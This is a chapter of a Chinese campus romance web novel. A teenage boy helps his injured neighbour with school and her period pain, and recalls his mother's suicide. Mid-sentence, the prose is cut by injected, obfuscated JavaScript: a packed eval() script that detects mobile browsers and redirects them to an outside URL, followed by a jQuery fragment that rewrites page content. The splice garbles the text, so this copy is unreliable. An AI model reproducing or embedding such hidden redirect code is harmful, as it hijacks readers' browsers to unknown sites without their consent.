14. 第 14 章
作品:《挽夏》 周日调休。
早上6:55,江砚年按响了林挽夏家的门铃。
开门的是外婆:“小江呀,来找夏夏一起上学吗?吃早饭了没有?”
不等他回答,老人又转头催促道:“夏夏,你抓紧点,别老让人等……”
“鼠么……”女孩叼着牙刷从卫生间探出个脑袋,嘴里含糊不清地嘟囔着。
看到江砚年的一瞬间,她明显愣了愣:“……马上好!”
她匆匆洗漱完,单手拎着书包走出来。
江砚年微微蹙眉,主动伸手:“我帮你拿。”
“谢谢啊!”林挽夏弯了弯唇,没跟他客气。
——毕竟自己是为了救他英勇负伤。
她转头抓起个桌上的包子塞进嘴里,想了想,又拿了一个在手里。
“嗯嗯……”她咬着包子发出两个奇怪的音节。
江砚年眼角抽了抽——他听懂了,她说“走吧”。
“阿婆再见。”
江砚年率先转身下楼。
林挽夏连忙跟上他的步伐——
“嗯嗯嗯!”
她又吐出三个奇怪的音节。
这次是在喊“江砚年”。
少年的脚步顿了顿,朝她投去一个无奈的眼神:“你先吃完再说。”
林挽夏举了举手里的包子,追上他。
下一秒,江砚年的嘴里被猝不及防地塞了个包子。
林挽夏松了口气,拿下嘴里的包子,大口咀嚼着,边解释道:“这是我特地拿给你吃的!”
江砚年:“……”
他轻咬了一口,吞下之后,才缓缓开口:“谢谢。”
林挽夏毫不在意地摆摆手:“吃吧吃吧,以后每天都有,我阿婆会的花样可多了!”
江砚年怔了怔,没拒绝,安静地吃完了那个热腾腾的包子。
林挽夏歪着脑袋打量他。
昨晚吃饭的时候她就发现了,江砚年的吃相很好,咀嚼的速度不疾不徐,饭桌礼仪也无可挑剔。他几乎只夹自己面前的菜,也不会在进食的时候说话。
就像是被刻意训练出来的,缺乏感情的一台机器。
——林挽夏的心头莫名有些发酸。
这天,林挽夏一进教室,就收到许多同学的关心和慰问。
“天啊挽夏,你这是怎么了?”
林挽夏讪讪一笑:“手臂不小心摔骨折了,不过问题不大,养几周就好了。”
一整个早上,江砚年对林挽夏的照顾可以说是无微不至。
上课帮翻书,下课帮接水,就连放学后,两人也是一起去的食堂。
午休时,趁着江砚年不在,几个和林挽夏关系不错的女孩围过来,挤眉弄眼地打探道:“大帅哥怎么对你那么上心?”
林挽夏听出她们话里的深意,想起江砚年之前要跟她保持距离的洁身自好小仙男人设,眼底闪过狡黠之色:“我们俩是邻居,我阿公阿婆拜托他在学校照顾我的。”
“哦,原来如此……”
于是,刚冒出萌芽的一些流言蜚语,就这么被林挽夏轻轻按下。
……
转眼间,就到了小长假前的最后一天。
上午放学后,李鹏把他们扣在教室里,耳提面命地讲起节后的月考安排。
白花花的试卷跟不要钱似的发下来,像是要以此束缚住学生们飞远的心。
林挽夏还在抄上节课的数学笔记。
江砚年面色淡淡地接过前桌传来的一份份试卷,分门别类地帮她整理好,叠在桌角。
“总之,这次月考意义重大,假期里大家一定要认真准备!下课!”
讲台上李鹏的长篇大论终于结束,同学们顿时如脱缰的野马般冲出教室。
林挽夏还没抄完,江砚年也不催她,安静地抱着手臂看向窗外。
五分钟后,她终于放下笔,甩了甩发酸的手腕:“走吧,吃饭去。”
学生食堂。
林挽夏扫了眼大屏上的菜单,报出几样想吃的,便和江砚年分头行动——他去打饭,她去占座。
今天他们来得晚,食堂里已是人山人海。
林挽夏远远地瞧见角落里的白婷婷同她招了招手。
她快步走去,就见她身旁坐着她同桌,对面还空了两个座位。
林挽夏笑着同他们打了个招呼,顺势坐下。
“大帅哥呢?”班里的女生们习惯了这样称呼江砚年。
“打饭去了……来了。”林挽夏朝她身后努了努嘴。
“嗨,年哥!”白婷婷的同桌陆骁,也是他们班的体育委员,自来熟地同江砚年打了个招呼。
江砚年冷淡归冷淡,但男生之间的友谊没有那么多弯弯绕绕。不过是体育课上一起打了几次球,陆骁便被江砚年高超的技术折服,将他自动划归为朋友。
白婷婷也腼腆地朝他笑笑。
江砚年放下餐盘,轻轻颔首,算是回应。
“唉,我听鹏哥说月考完可能要换座位……”陆骁唉声叹气地分享着最新的小道消息。
“啊……”白婷婷和林挽夏不约而同地发出一声惊叹。
白婷婷和陆骁高一的时候便是同桌,分班之后也顺理成章地坐在一起。
至于林挽夏,她和江砚年也算是同甘共苦过了,况且这人最近对她怪好的,她也舍不得换同桌。
顿时,林挽夏觉得糖醋排骨都不香了。
她苦着张脸看向江砚年,眼里满是真诚:“我不想和你分开……”
江砚年手中的筷子倏地一顿,明知她没有别的意思,心跳还是不自觉快了一拍。
见女孩皱着一张小脸,他有些不自然地清清嗓子,安慰道:“只要考得好,就不会被调座位。”
闻言,林挽夏瞬间燃起斗志。
这天午休,林挽夏难得没有睡觉,认真地写起数学卷子。
写着写着,她觉得自己披散着的长发有些碍事——
骨折之后,外婆每天早上会帮她扎头发,但今天她起晚了,就没来得及。
她抬眼扫视一圈,中午留在班里的同学不多,女生就只有她和白婷婷两人,此刻白婷婷睡得正香,林挽夏也不好意思叫醒她。
于是,她戳了戳正在看书的江砚年,压低了嗓音问道:“你能不能帮我扎个头发?”
江砚年的眼里有一瞬间的迷茫,甚至怀疑自己听错了。直到女孩从抽屉里翻出一条黑色的发圈,他的额角抽了抽。
“我不会……”少年那张万年不变的脸上难得露出些窘迫。
林挽夏却一把将发圈塞到他手里,留给他一个后脑勺:“哎呀很简单的,把头发塞进去,然后扭一圈就好了。你先试试嘛……”
江砚年有些无措地握着手里的发圈,在林挽夏低低的催促中,小心翼翼地拢起她柔顺的长发,按照她的指导,扭转发绳——
“嘶……”头皮传来拉扯的疼痛感,林挽夏没忍住轻呼一声,惹得江砚年动作一僵。
“没事没事……你把头发顺着那个小洞掏出来就行了。”
林挽夏对此他很是宽容,毕竟是第一次嘛。
闻言,江砚年的动作放得更轻更缓。好不容易扎好一个马尾辫,他如释重负般地松了口气。
林挽夏对着窗户玻璃瞧了瞧,虽然有点歪、有点松,但也看得过去。
她笑眯眯地道了声谢,就又继续埋头苦读。
少年微一偏头,视线忍不住落在她的发顶,想起方才手上柔软顺滑的触感,修长的手指不自觉地蜷了蜷。
这天放学后,轮到林挽夏他们组做大扫除。
值日组长颇为贴心地,只给她安排了一个擦黑板的活儿。
上一节物理课的老师个子高,林挽夏够不到最上面的板书,只好跳起来擦。
江砚年拎着水桶一进教室,就见到女孩像只小兔子一样,连蹦带跳地在和黑板上的板书作斗争。
视线落在她胳膊上的绷带,江砚年眉心一跳,大步上前夺过了她手里的黑板擦。
林挽夏只觉被一阵清冽温热的气息包裹住,下一秒,手里一空。
她茫然地回头,差点撞上江砚年的胸口:“怎么了?”
“我来擦,你去写作业等我。”江砚年垂眸看她,语气一如既往的淡。
林挽夏莫名觉得他好像有点不高兴,只好乖乖点头。
江砚年的动作很快,不过十来分钟就完成了两个人的任务。
回家路上,经过便利店时,林挽夏一口气买了十瓶桃子汽水。
感受到手上沉甸甸的重量,江砚年无奈地瞥了眼正在单手和易拉罐作斗争的女孩。
他算是发现了,这姑娘的胃口比猫还小,每顿吃不了一两饭,汽水却是几乎每天都要喝的。
眼见她流露出求助的目光,江砚年暗叹一声,抬手接过易拉罐,中指在拉环上一勾,轻而易举地打开。
林挽夏欣喜地接过,心满意足地喝着汽水。
“你假期应该会待在苏城吧?”她歪着脑袋问道。
“嗯。”
江砚年给出肯定的答复,就见女孩的眼睛亮了亮,好像这对她来说是一件值得高兴的事。
心头像是被一片羽毛轻轻拂过,有点痒。
到了江砚年家门口,少年像往常一样,要继续上楼先把她送回去。
林挽夏却急急拦住他,接过书包:“那个……我自己上去就行了。”
江砚年的眼中露出些不解。
下一秒,女孩眨着漂亮的杏眼,指指他手里那袋桃子汽水:“汽水……可不可以先存在你家冰箱?”
江砚年一怔,没有马上作答。
林挽夏试图利诱他:“你帮我保密,别告诉阿公阿婆,这就是我们的共同财产了,你想喝就自己拿。”
江砚年的眉梢轻挑了挑,在听到“共同财产”这个词时,没忍住弯了弯唇角。
“行吧。”他强压下笑意,不咸不淡地应了一句。
林挽夏的眼睛顿时弯成一弯新月:“那就说好咯,记得放冰箱!明天见!”
女孩的背影很快消失在楼梯的转角处,却还能听见她轻快的脚步声。
明天见。
江砚年在心里默念着这句话,一贯平静无波的眼底升起些愉悦的笑意。
……
假期第一天,林挽夏是在小腹传来阵阵胀痛感时惊醒的。
她顾不上赖床,连忙冲到卫生间,果然发现来例假了。
林挽夏叹了口气,换洗干净后,才捂着肚子窝回床上。
痛经这个东西,对她来说是概率性事件。
这回算是比较严重的,大概是昨天下午那瓶冰镇汽水,加上今天突降的气温导致的。
林挽夏病恹恹地躺了一上午。
午饭后,外婆给她煮了姜茶。昏昏沉沉地睡了个午觉,她终于恢复了一些元气。
想到堆积成山的作业和即将到来的月考,林挽夏还是下楼敲开了江砚年家的门。
“下午好。”门开后,女孩清甜的声音响起,却不像平时活力满满。
她像往常一样窝在软垫上,江砚年若有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203149|197283||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所思地看着她有些苍白的脸色:“今天不喝汽水?”
林挽夏有气无力地摆了摆手:“今天喝不了。”
江砚年瞬间明了。
喉结轻滚了下,他犹豫片刻,还是劝道:“要是身体不舒服,就回去休息吧。”
“没事,趁这会儿好些了,我先写点作业。”林挽夏颇为坚强地拿出物理卷子。
强撑着写完一张,她的脸色越发难看,额角也隐隐有冷汗冒了出来。
“不行了,我要休息一下。”小腹的下坠感愈发沉重,林挽夏趴在桌上,一动也不想动。
见状,江砚年漂亮的眉毛拧了拧,眼里掠过丝丝无措。
饶是他再聪明,此刻能想到的办法也只有多喝热水。
他接了杯水,小心翼翼地推过去:“喝点水吧。”
林挽夏轻点了下头,捧起热水小口小口抿着。
苏城的天气说变就变。昨天还是要穿短袖的温度,这会儿却已是秋风瑟瑟。
阳台的门关着,却被吹得呼呼作响。
“冷吗?”江砚年轻声问。
“还好。”
女孩身形单薄地蜷在软垫上,江砚年微一蹙眉,回房拿了件外套给她披上。
宽大的黑色冲锋衣将林挽夏整个人包裹起来,带着少年身上独有的雪松木香,像是被他拥入怀中。
她红了红脸,连忙将这种不纯洁的想法抛之脑后:“你陪我聊聊天吧。”
“好。”
江砚年很好说话,几乎是有问必答。
林挽夏同他拉东扯西地聊了一会,还是没忍住,问出了那个她好奇已久的问题:“你为什么转学来苏城呀?”
她知道,江砚年是在北城长大的。
少年静默一瞬,眸光深了深:“苏城是我母亲的故乡。暑假的时候,我继母流产了,他们怀疑是我……我父亲要把我逐出家门,老爷子就让我来这里避一避。”
他的语调无波无澜,好像在说一件无关紧要的事情。
林挽夏却是被这巨大的信息量冲击得头昏脑胀。
她好半天才回过神来,有些气愤地道:“他们怎么能无缘无故地冤枉你呢?太过分了!”
江砚年的目光平静地落在她身上——女孩的手还捂在肚子上,面色苍白,却是一副义愤填膺的表情,眼里流露出浓浓的关切之色。
忽地,他弯了弯唇角。
林挽夏被少年难得的笑容晃了晃眼,愣了片刻,不明所以地问:“你笑什么?”
“没什么。”江砚年微微垂眸,敛起笑容,“要不要玩手机?”
林挽夏一愣,看着被推到面前的手机,不明白为什么话题转变得这么快。
半晌,她还是没抵抗住消消乐的诱惑,点了点头。
“密码是654321。”
林挽夏皱了下眉:“你这个密码也太简单了,很容易被破解的,还是换一个吧。”
江砚年微一挑眉,从善如流:“你觉得换什么好?”
林挽夏歪着脑袋想了想,没什么新意地提议道:“你生日?……对了,你生日是什么时候呀?”
闻言,江砚年的身子一僵,眼底的墨色沉了几分,无端地想起从前——
那时,他的母亲还在世。
每一年生日,她都会给他穿上漂亮的衣服,定好精致的蛋糕,再做上一大桌丰盛的饭菜——却不是为了他。
很小的时候,江砚年还不明白,为什么早上笑容满面的母亲,到了晚上就暴躁癫狂地打骂他。
后来他懂了,他的母亲不爱他,他只是那个女人用来挽留江宸的工具罢了。
于是,他像个没有感情的木偶人,年复一年的,任由她折腾。
只可惜,她一点都不聪明,从一开始就用错了方法。渐渐地,把那个男人越推越远,也把自己推向了绝境。
她爱江宸,爱到疯魔,药石无医。
直到她吞药自杀的那一天,江家乱成了一锅粥,然而江砚年的心情,却是近乎麻木的平静。
那是他十岁生日的后一天,他的心中只剩下一个念头:
真好,以后再也不用过生日了。
如今,对他而言,那只不过是身份证上的一串数字,既无意义,也无期待。
……
少年沉默许久,才缓缓地吐出:“12月22号。”
下一刻,女孩的眼睛亮了亮,像淬了星光,直勾勾地盯着他,语气里是藏不住的惊喜:“是冬至哎!”
江砚年的心跳霎时漏了一拍,按着桌角的指节骤然收紧,泛出青白。
“我记住啦!到时候给你过生日!”
林挽夏脆生生地说道,眼底盛着明晃晃的期待,仿佛他的生日是什么值得庆祝的喜事。
“江砚年,我的生日是八月六号,立秋的前一天,你也要记住哦!”
女孩的声音又轻又甜,江砚年抬眸,撞进她笑意盈盈的眼眸。
立秋的前一天,是晩夏。
——他听出了她藏在话里的深意。
他沉默地望着重新趴回桌上的女孩,任由眼底翻涌着越来越浓的墨色。
良久,少年垂下眼睫,忽然极轻地扯了下嘴角,自嘲一笑——
或许,江家人说的没有错。他和他母亲,本来就是一样的人。
对于林挽夏,他又何尝不是病入膏肓、无药可救?
——那个像太阳一样明媚的女孩,带着晚夏的最后一抹炽热与暖意,撞进了他望不到尽头的寒冬。
将他从一片荒芜里,轻轻地拉回人间。

